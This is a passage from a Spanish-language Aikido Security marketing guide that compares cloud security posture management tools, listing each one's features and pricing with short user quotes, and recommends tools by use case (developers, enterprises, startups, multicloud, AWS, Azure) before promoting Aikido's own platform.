    • Integración con la plataforma CrowdStrike Falcon

    Lo mejor para: Equipos de seguridad que buscan combinar la detección de errores de configuración con la prevención de infracciones.

    Precios: Para empresas; póngase en contacto con CrowdStrike.

    "Por fin, un CSPM con capacidades de detección reales, no una lista de comprobación más". - Analista de seguridad en X

    8. Ermética

    Ermetic es una plataforma de seguridad en la nube que da prioridad a la identidad y combina CSPM con potentes funciones CIEM en AWS, Azure y GCP.

    Características principales:

    • Mapa de riesgos y rutas de ataque de la identidad en la nube
    • Automatización de políticas de mínimos privilegios
    • Supervisión continua de los errores de configuración de la nube
    • Informes exhaustivos sobre el cumplimiento de la normativa
    • Mapa visual de relaciones entre activos

    Lo mejor para: Empresas con arquitecturas de identidad complejas en entornos multicloud.

    Precios: SaaS empresarial, adaptado al volumen de activos.

    "Descubrimos permisos tóxicos que no sabíamos que existían: Ermetic lo clavó". - Cloud Architect en Reddit

    9. Fuga (ahora parte de Snyk Cloud)

    Fugue se centra en la política como código y la detección de desviaciones. Ahora forma parte de Snyk Cloud, integrando la exploración IaC con CSPM para un flujo DevSecOps completo.

    Características principales:

    • Aplicación de la política como código basada en la normativa
    • Detección de deriva entre IaC y la nube desplegada
    • Visualización de recursos y relaciones en la nube
    • Marcos de cumplimiento predefinidos
    • Integración CI/CD y retroalimentación PR

    Ideal para: Organizaciones centradas en los desarrolladores que adoptan GitOps o flujos de trabajo de políticas como código.

    Precios: Incluido en los planes de Snyk Cloud.

    "Detectamos los errores de configuración antes de que salgan a la luz. Es como un linter para la infraestructura en la nube". - Ingeniero de plataforma en G2

    ‍

    10. JupiterOne

    JupiterOne ofrece CSPM mediante un enfoque de gestión de activos basado en gráficos. Construye un gráfico de conocimiento de todos los activos y relaciones de la nube para identificar riesgos.

    Características principales:

    • Motor de consulta basado en gráficos (J1QL)
    • Descubrimiento de activos en nubes, SaaS y repositorios de código
    • Detección de errores de configuración por relaciones
    • Paquetes de conformidad integrados
    • Nivel comunitario gratuito

    Lo mejor para: Equipos de seguridad que desean visibilidad total y consultas flexibles en entornos dispersos.

    Precios: Nivel gratuito disponible; los planes de pago escalan según el volumen de activos.

    "JupiterOne hizo que la visibilidad de los activos fuera un clic para nuestro equipo. J1QL es potente". - Jefe de operaciones de seguridad en G2

    11. Encaje

    Lacework es una plataforma CNAPP que ofrece CSPM junto con detección de anomalías y protección de cargas de trabajo. Su plataforma de datos Polygraph mapea los comportamientos en la nube para detectar amenazas y errores de configuración.

    Características principales:

    • Monitorización continua de la configuración en AWS, Azure y GCP
    • Detección de anomalías basada en ML con mapeo visual de historias
    • Protección de cargas de trabajo sin agentes (contenedores, máquinas virtuales)
    • Evaluaciones de conformidad e informes automatizados
    • API e integraciones compatibles con DevOps

    Lo mejor para: Equipos que desean CSPM combinado con detección de amenazas y una fatiga mínima de alertas.

    Precios: Precios para empresas; póngase en contacto con Lacework.

    "El polígrafo visual por sí solo vale la pena: conecta los puntos entre los hallazgos mejor que cualquier otra herramienta que hayamos probado". - Ingeniero de seguridad en Reddit

    12. Microsoft Defender para la nube

    Microsoft Defender for Cloud es el CSPM integrado de Azure, ampliado con integraciones para AWS y GCP. Le ofrece gestión de la postura, comprobaciones de cumplimiento y detección de amenazas en un solo panel.

    Características principales:

    • Puntuación segura para la evaluación de la postura de la nube
    • Detección de errores de configuración en Azure, AWS y GCP
    • Integración con Microsoft Defender XDR y Sentinel SIEM
    • Corrección con un solo clic y recomendaciones automatizadas
    • Compatibilidad integrada con CIS, NIST y PCI-DSS

    Lo mejor para: Organizaciones Azure-first que buscan una gestión de posturas y protección frente a amenazas nativa y sin fisuras.

    Precios: Nivel gratuito para CSPM; planes de pago para protección contra amenazas por recursos.

    "Hacemos un seguimiento semanal de nuestro Secure Score en todos los equipos: es súper eficaz para impulsar mejoras". - CISO en G2

    ‍

    13. Prisma Cloud (Palo Alto Networks)

    Prisma Cloud es un CNAPP integral que incluye un sólido CSPM, escaneo IaC y seguridad de la carga de trabajo. Abarca todo el ciclo de vida, desde el código hasta la nube.

    Características principales:

    • Supervisión en tiempo real de la postura de la nube
    • Priorización de riesgos mediante IA y contexto de datos
    • Infraestructura como código e integración CI/CD
    • Análisis de identidades y accesos, visualización de rutas de ataque
    • Amplios paquetes normativos y de cumplimiento

    Lo mejor para: Empresas que ejecutan entornos multicloud complejos y requieren una visibilidad y cobertura profundas.

    Precios: Planes modulares; enfocados a empresas.

    "Para nosotros sustituyó a cuatro herramientas: gestionamos todo, desde la postura hasta las amenazas en tiempo de ejecución, en un solo lugar". - Director de DevSecOps en G2

    14. Prowler

    Prowler es una herramienta de auditoría de seguridad de código abierto centrada principalmente en AWS. Comprueba su infraestructura en función de las mejores prácticas y los marcos normativos.

    Características principales:

    • Más de 250 comprobaciones relacionadas con CIS, PCI, GDPR, HIPAA
    • Herramienta CLI de AWS centrada con salida JSON/HTML
    • Soporte multi-nube en expansión (Azure/GCP básico)
    • Fácil integración en el proceso CI/CD
    • Prowler Pro disponible para informes SaaS

    Lo mejor para: Ingenieros DevOps y orgs AWS-pesado que necesitan personalizable, escaneo de código abierto.

    Precios: Gratuito (código abierto); Prowler Pro es de pago.

    "Auditoría de AWS sin tonterías que simplemente funciona: imprescindible en tu pipeline". - Ingeniero de la nube en Reddit

    ‍

    15. Seguridad Sonrai

    Sonrai combina CSPM con CIEM y seguridad de datos, haciendo hincapié en la gobernanza de identidades en la nube y la prevención de la exposición de datos sensibles.

    Características principales:

    • Relación de identidad y análisis de riesgo de privilegios
    • Descubrimiento de datos sensibles en el almacenamiento en nube
    • CSPM y auditoría de conformidad
    • Automatización de la aplicación de los mínimos privilegios
    • Soporte multicloud e híbrido

    Lo mejor para: Empresas centradas en el gobierno de identidades, el cumplimiento normativo y la protección de datos confidenciales residentes en la nube.

    Precios: SaaS para empresas; póngase en contacto con ventas.

    "Sonrai facilita la asignación de quién puede acceder a qué y por qué. A nuestros auditores les encanta". - Responsable de cumplimiento de seguridad en G2

    16. Tenable Cloud Security (Accurics)

    Tenable Cloud Security (anteriormente Accurics) se centra en la exploración de IaC, la detección de desviaciones y la gestión de la postura. Encaja bien en los procesos GitOps y DevSecOps.

    Características principales:

    • Infraestructura como escaneado de códigos y aplicación de políticas
    • Detección de deriva entre el código y los recursos desplegados
    • Detección de errores de configuración y seguimiento de la conformidad
    • Correcciones IaC autogeneradas (por ejemplo, Terraform)
    • Integración con Tenable.io y datos sobre vulnerabilidades

    Ideal para: Equipos DevOps que necesitan comprobaciones de postura antes de la implantación y en tiempo de ejecución vinculadas a IaC.

    Precios: Parte de la plataforma Tenable; precios basados en el uso.

    "Un gran complemento para las herramientas de vulnerabilidades de Tenable; también mantiene bajo control las configuraciones de la nube". - SecOps Manager en G2

    17. Control postural Zscaler

    Zscaler Posture Control trae CSPM a Zero Trust Exchange de Zscaler. Combina la postura, la identidad y el contexto de vulnerabilidad para resaltar los riesgos reales.

    Características principales:

    • CSPM y CIEM unificados
    • Correlación de amenazas entre configuraciones erróneas, identidades y cargas de trabajo
    • Escaneo continuo para AWS, Azure y GCP
    • Aplicación y corrección basadas en políticas
    • Integrado con el ecosistema Zero Trust más amplio de Zscaler

    Lo mejor para: Clientes de Zscaler que buscan perspectivas de postura nativas alineadas con las estrategias de Zero Trust.

    Precios: Complemento de la plataforma Zscaler; orientado a empresas.

    "Por fin tenemos visibilidad de postura vinculada a nuestro modelo de confianza cero". - Responsable de seguridad de red en G2
    ‍

    Las mejores herramientas de CSPM para desarrolladores

    Necesidades de los desarrolladores: Retroalimentación rápida en CI/CD, alertas poco ruidosas e integraciones con GitHub, Terraform o IDEs.

    Criterios clave:

    • Exploración de la Infraestructura como Código (IaC)
    • Interfaz de usuario y API fáciles de usar
    • Compatibilidad con GitOps y CI/CD
    • Autofijación u orientación sobre medidas correctoras
    • Propiedad clara y mínimos falsos positivos

    Las mejores opciones:

    • Seguridad Aikido: Fácil configuración, autofix basado en IA y construido para desarrolladores. Se integra directamente con CI y GitHub.
    • Fugue (Snyk Cloud): Policy-as-code con Regula; ideal para equipos que utilizan Terraform y GitOps.
    • Prisma Cloud: Escaneo completo de código a la nube e integración IDE.
    • Prowler: Herramienta CLI sencilla que los desarrolladores pueden ejecutar localmente o en canalizaciones.
    Las mejores herramientas de CSPM para desarrolladores
    Herramienta Escaneado IaC Integración CI/CD Autofix / Dev UX Lo mejor para
    Aikido Seguridad✅ Sí✅ GitHub, CIAI AutofixEquipos "Developer-first
    Fuga (Nube Snyk)✅ Políticas de Regula✅ Terraform/GitOps❄️ Flujos de trabajo de desarrolloUsuarios de IaC + GitOps
    Nube Prisma✅ Pila completa✅ IDE/CI/CD✅ Integraciones IDEOrganizaciones de código a nube
    Merodeador✅ AWS-native✅ Canalizaciones CLI❄️ ManualDesarrolladores preocupados por la seguridad

    Mejores herramientas CSPM para empresas

    Necesidades de la empresa: Visibilidad en varias nubes, informes de cumplimiento, acceso basado en funciones e integración de flujos de trabajo.

    Criterios clave:

    • Soporte multicuenta y multicloud
    • Marcos de cumplimiento integrados
    • Control de acceso basado en funciones (RBAC)
    • Integraciones SIEM/ITSM
    • Precios escalables y asistencia a proveedores

    Las mejores opciones:

    • Prisma Cloud: Cubre la postura, el tiempo de ejecución y el cumplimiento a escala.
    • Check Point CloudGuard: Gobierno multi-nube y aplicación de políticas en profundidad.
    • Microsoft Defender para la nube: Cobertura nativa de Azure más AWS/GCP.
    • Ermetic: CIEM avanzado y gobernanza para entornos complejos.
    Mejores herramientas CSPM para empresas
    Herramienta Nube múltiple Informes de cumplimiento RBAC / Flujo de trabajo Lo mejor para
    Nube Prisma✅ Sí✅ AmpliaBasado en funcionesOrganizaciones a escala empresarial
    Check Point CloudGuard✅ Sí✅ Políticas profundas✅ IntegradoGobernanza multicloud
    Microsoft Defender para la nubeAzure + AWS/GCPAzure nativoIntegradoEmpresas centradas en Azure
    Ermetic✅ SíGobernanzaControles CIEMEntornos complejos

    ‍

    Las mejores herramientas de CSPM para startups

    Necesidades de las nuevas empresas: Asequibilidad, facilidad de uso, implantación rápida y ayuda básica para el cumplimiento.

    Criterios clave:

    • Planes gratuitos o asequibles
    • Fácil integración y experiencia del usuario
    • Preparación inmediata para SOC 2/ISO
    • El desarrollador es lo primero
    • Todo en uno

    Las mejores opciones:

    • Seguridad Aikido: Nivel gratuito, AI autofix, y dev-centric.
    • CloudSploit: Gratuito, de código abierto y fácil de integrar.
    • JupiterOne: nivel comunitario gratuito y consultas sencillas sobre riesgos basados en activos.
    • Prowler: Escáner de AWS basado en CLI, gratuito y compatible con la conformidad.
    Las mejores herramientas de CSPM para startups
    Herramienta Nivel gratuito Incorporación Plantillas de cumplimiento Lo mejor para
    Aikido Seguridad✅ Sí✅ Fácil✅ SOC 2 / ISOStartups que dan prioridad al desarrollo
    CloudSploitCódigo abierto✅ Simple❄️ BásicoEquipos preocupados por el presupuesto
    JupiterOneNivel comunitario✅ Consulta de activos❄️ PersonalizadoEmpresas emergentes preocupadas por la seguridad
    MerodeadorCLI y gratuito❄️ ManualConformidad con AWSPequeños equipos centrados en AWS

    Las mejores herramientas CSPM para entornos multi-nube

    Necesidades de múltiples nubes: Visión unificada, aplicación de políticas independiente de la nube e integraciones sin fisuras.

    Criterios clave:

    • Compatibilidad total con AWS, Azure, GCP (y más)
    • Cuadros de mando unificados
    • Informes de cumplimiento normalizados
    • Visibilidad multicuenta y multirregión
    • Alertas coherentes en todas las nubes

    Las mejores opciones:

    • Prisma Cloud: Verdaderamente agnóstico a la nube con características profundas.
    • JupiterOne: visibilidad basada en gráficos de nubes y servicios.
    • Check Point CloudGuard: Un motor de políticas para todas las nubes.
    • CloudCheckr: Gobernanza y optimización de costes entre nubes.
    Las mejores herramientas CSPM para entornos multi-nube
    Herramienta Cobertura de nubes Cuadro de mandos unificado Aplicación de la política Lo mejor para
    Nube PrismaAWS/Azure/GCP✅ Sí✅ Ejecución en profundidadOrganizaciones agnósticas a la nube
    JupiterOneBasado en gráficos✅ Unificado❄️ PersonalizableVisibilidad entre nubes
    CloudGuard✅ Todas las nubes✅ Un motor✅ CentralizadoLíderes de gobierno
    CloudCheckr✅ Multi-nubeCoste y riesgoNormalizadoFinOps + SecOps

    Las mejores herramientas CSPM para la protección de la nube

    Necesidades de protección en la nube: Combine la postura con la detección de amenazas en tiempo de ejecución, el análisis de anomalías y la prevención de infracciones.

    Criterios clave:

    • Detección de amenazas (más allá de la exploración de la configuración)
    • Visibilidad de la carga de trabajo en tiempo de ejecución
    • Información sobre el tráfico de red en la nube
    • Correlación y priorización de alertas
    • Corrección o bloqueo automatizados

    Las mejores opciones:

    • Seguridad Aikido: Combina la gestión de posturas en la nube, el escaneado de códigos y el escaneado de imágenes de contenedores en una sola plataforma.
    • CrowdStrike Falcon Cloud Security: CNAPP con la mejor información sobre amenazas de su clase.
    • Encaje: El motor poligráfico detecta los errores de configuración y las anomalías a la vez.
    • Microsoft Defender para la nube: Visibilidad de amenazas en tiempo de ejecución + configuración en Azure.
    • Check Point CloudGuard: Combina la postura con la prevención activa de amenazas.
    Las mejores herramientas CSPM para la protección de la nube
    Herramienta Detección de amenazas Información sobre el tiempo de ejecución Remediación Lo mejor para
    Aikido Seguridad✅ Misconfigs + Amenazas✅ Contenedores + Nube✅ AI FixesCNAPP unificado
    CrowdStrike Falcon✅ Información sobre amenazas✅ Tiempo de ejecución + Identidad✅ BloqueoPrevención de infracciones en la nube
    Encaje✅ Anomalía + Config✅ Motor Poligráfico❄️ AlertaEquipos centrados en las amenazas
    Defender para la nube✅ Config + Tiempo de ejecución✅ Azure nativoIntegradoUsuarios de Azure híbrido
    CloudGuardBloqueo activo✅ Red + Infra✅ Auto RemediationAmenaza + postura en uno

    Mejores herramientas CSPM para AWS

    Necesidades centradas en AWS: Cobertura completa de servicios, integración de Security Hub y alineación con los puntos de referencia de AWS.

    Criterios clave:

    • Profunda integración con la API de AWS
    • Compatibilidad con los marcos CIS/NIST de AWS
    • Soporte org multicuenta
    • Compatibilidad con servicios nativos (por ejemplo, GuardDuty, Config)
    • Detección de errores de configuración de baja latencia

    Las mejores opciones:

    • Prowler: Ligero, CLI y nativo de AWS.
    • CloudSploit: Fácil de desplegar y de código abierto.
    • Seguridad Aqua: Compatibilidad ampliada con AWS + contenedores.
    • CloudCheckr: Amplia información sobre conformidad y costes de AWS.
    Mejores herramientas CSPM para AWS
    Herramienta Integración nativa de AWS Marcos de cumplimiento Soporte multicuenta Lo mejor para
    MerodeadorSí (CLI)CIS, NISTOrganizaciones AWSAutomatización de la seguridad de AWS
    CloudSploit✅ SíComunidad CIS❄️ BásicoEquipos de código abierto de AWS
    Seguridad Aqua✅ Deep AWS✅ Contenedores + NubeMulticuentaMezcla de seguridad y DevOps
    CloudCheckr✅ SíCoste + Seguridad✅ Empresa AWSCumplimiento + visibilidad

    Mejores herramientas CSPM para Azure

    Necesidades centradas en Azure: Perfecta integración con Microsoft Defender, Azure Policy y servicios nativos.

    Criterios clave:

    • Integración nativa con el ecosistema Azure
    • Compatibilidad con Secure Score y Azure Security Benchmark
    • Cobertura de Azure RBAC e Identidad
    • Corrección y alertas automatizadas
    • Compatibilidad con Sentinel y Defender XDR

    Las mejores opciones:

    • Microsoft Defender para la nube: Cobertura de origen con nivel gratuito.
    • Seguridad Aikido: Plataforma CSPM preparada para Azure con análisis sin agentes, alertas de errores de configuración en tiempo real y corrección basada en IA.
    • Ermetic: Gestión avanzada de la postura de identidad para Azure.
    • Check Point CloudGuard: Visibilidad multi-nube incluyendo Azure.
    • Seguridad en la nube de Tenable: IaC y escaneo en tiempo de ejecución para Azure con detección de deriva.
    Mejores herramientas CSPM para Azure
    Herramienta Integración con Azure Cobertura de referencia Apoyo a la remediación Lo mejor para
    Defender para la nube✅ Nativo✅ Puntuación seguraIntegradoOrganizaciones "Microsoft primero
    Aikido SeguridadAzure Ready✅ Alertas en tiempo realRemediación de la IAEquipos de desarrollo centrados en Azure
    Ermetic✅ Orientación identitariaAzure AD❄️ ManualControl de identidad en la nube
    CloudGuard✅ Azure + Multi-cloud✅ Políticas unificadas✅ Auto FixesSeguridad entre nubes
    Seguridad en la nube de Tenable✅ IaC + Tiempo de ejecución✅ Detección de derivaAlertas y correccionesEquipos de postura híbrida

    Conclusión

    La gestión de la postura de seguridad en la nube no es sólo una casilla de verificación para las auditorías: es la diferencia entre una nube segura y escalable y otra que filtra datos confidenciales a través de configuraciones erróneas.

    Tanto si es el fundador de una startup que busca una herramienta gratuita para reforzar su cuenta de AWS como si es el responsable de seguridad de una empresa que gestiona entornos multicloud, la herramienta CSPM adecuada puede facilitarle mucho el trabajo.

    Desde herramientas de código abierto como Prowler y CloudSploit hasta plataformas de nivel empresarial como Prisma Cloud y Check Point CloudGuard, el panorama es rico en opciones potentes.

    Si busca una plataforma para desarrolladores que combine CSPM con seguridad en tiempo de ejecución y de código en una interfaz única y sencilla, Aikido Security es la solución.

    👉 Empieza tu prueba gratuita hoy mismo y comprueba lo rápido que puedes arreglar tu postura en la nube.

    ‍

    Guías
    27 de marzo de 2025
    1
    Empresa
    ProductoPreciosAcerca deCarreras profesionalesPóngase en contacto conAsóciese con nosotros
    Recursos
    DocsDocumentos públicos sobre la APIBase de datos de vulnerabilidadesBlogIntegracionesGlosarioDossier de prensaOpiniones de los clientes
    Seguridad
    Centro de confianzaPanorama de la seguridadCambiar preferencias de cookies
    Legal
    Política de privacidadPolítica de cookiesCondiciones de usoContrato marco de suscripciónAcuerdo de procesamiento de datos
    Casos prácticos
    ConformidadSAST Y DASTASPMGestión de vulnerabilidadesGenerar SBOMSeguridad en WordPressProteja su códigoAikido para Microsoft
    Industrias
    Para HealthTechPara MedTechPara FinTechPara SecurityTechPara LegalTechPara HRTechPara las agenciasPara empresasPara PE y empresas del grupo
    Compara
    frente a todos los vendedoresvs Snykvs Wizcontra Mendvs Orca Securityvs Veracodevs GitHub Seguridad avanzadavs GitLab Ultimatevs Checkmarxfrente a Semgrepvs SonarQube
    Conectar
    hello@aikido.dev
    LinkedInX
    Suscríbase a
    Manténgase al día de todas las actualizaciones
    Aún no lo he conseguido.
    👋🏻 ¡Gracias! Te has suscrito.
    Equipo Aikido
    Aún no lo he conseguido.
    2025 Aikido Security BV | BE0792914919
    🇪🇺 Domicilio social: Coupure Rechts 88, 9000, Gante, Bélgica
    🇪🇺 Dirección de la oficina: Gebroeders van Eyckstraat 2, 9000, Gante, Bélgica
    🇺🇸 Dirección de la oficina: 95 Third St, 2nd Fl, San Francisco, CA 94103, EE.UU.
    SOC 2
    Conforme
    ISO 27001
    Conforme